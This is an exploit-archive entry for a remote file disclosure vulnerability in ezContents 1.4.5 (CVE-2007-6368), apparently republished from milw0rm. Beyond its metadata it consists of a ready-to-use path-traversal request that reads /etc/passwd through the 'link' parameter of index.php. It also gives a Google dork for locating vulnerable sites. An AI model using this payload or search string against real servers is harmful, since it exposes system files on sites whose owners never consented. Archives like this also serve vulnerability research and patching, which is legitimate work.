EZContents 1.4.5 - 'index.php?link' Remote File Disclosure

Author: p4imi0
type: webapps
platform: php
port: 0
date_added: 2007-12-04
date_updated: 
verified: 1
codes: OSVDB-39505;CVE-2007-6368
tags: 
aliases: 
screenshot_url: 
application_url: 

--------------------------------------------------------------
ezContents Version 1.4.5 Remote File Disclosure Vulnerability.
--------------------------------------------------------------

download    : http://www.visualshapers.com/
author      : p4imi0
contact     : p4imi0@gmail.com
exploit     : /ezcontents1_4x/index.php?link=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
google dork : inurl:"index.php?link=" Powered by ezContents Version 1.4.5
thanks to   : str0ke, Cr[]w.

# milw0rm.com [2007-12-05]
↑